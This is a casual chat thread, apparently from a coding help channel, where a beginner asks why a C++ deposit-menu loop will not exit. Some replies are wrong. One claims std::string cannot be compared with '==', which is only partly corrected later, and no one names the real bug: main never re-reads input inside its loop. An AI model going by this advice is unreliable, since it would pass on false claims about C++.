Like a Pomodoro timer?
yup
shit programmer, needs a bit of help
main.cpp
#include <iostream>
#include <string>
#include "menu.h"
#include "operations.h"
using namespace std;
int main() {
Menu menu;
Operations op;
menu.display();
int input = menu.getInput();
int *iPtr = &input;
while(*iPtr != 0) {
menu.display();
*iPtr = input;
switch(*iPtr) {
case 1:
op.deposit();
break;
}
}
}
operations.cpp
#include <iostream>
#include <string>
#include "operations.h"
using namespace std;
Operations::Operations() {}
void Operations::deposit() {
float amount;
string conf;
float *aPtr = &amount;
string *cPtr = &conf;
while(*cPtr != "y") {
cout << "Enter amount to deposit - ";
cin >> *aPtr;
cout << "Confirm [y/n] - ";
cin >> *cPtr;
if(*cPtr == "y") {
cout << "Deposit Successful!" << endl;
return;
} else if(*cPtr == "n") {
return;
} else {
cout << "Invalid options" << endl;
return;
}
}
return;
}
This works fine until the while loop in operations.cpp, for some reason it does not exit the while loop nor the function, both return and break does not work
C++ 11 is what im using i belive
Also am i using the pointers correctly/efficiently?
You put a return into a void method, does this even work?
And I mean every return there
Also the one if Statement with *cPtr == “y” doesn’t make this much sense I think, because this is your break condition
Maybe change this
Return in a void function is fine
It'll get out of the function instead of breaking the loop though
The problem is that you can't compare strings in C++ with ==
If you're using c strings, then use strncmp, for c++ strings use compare() on the string itself
Oh ok, just thought it isn’t because in other languages it is like I said
Even in other languages it's used to return early
It's considered poor style though
There’s no operator override for those?
Oh, that’d work for c++ strings, but the constants are c strings?
C++ strings should be able to compare against string constants
don't remember if you can overload == in C++
may i ask what's wrong in my js code?



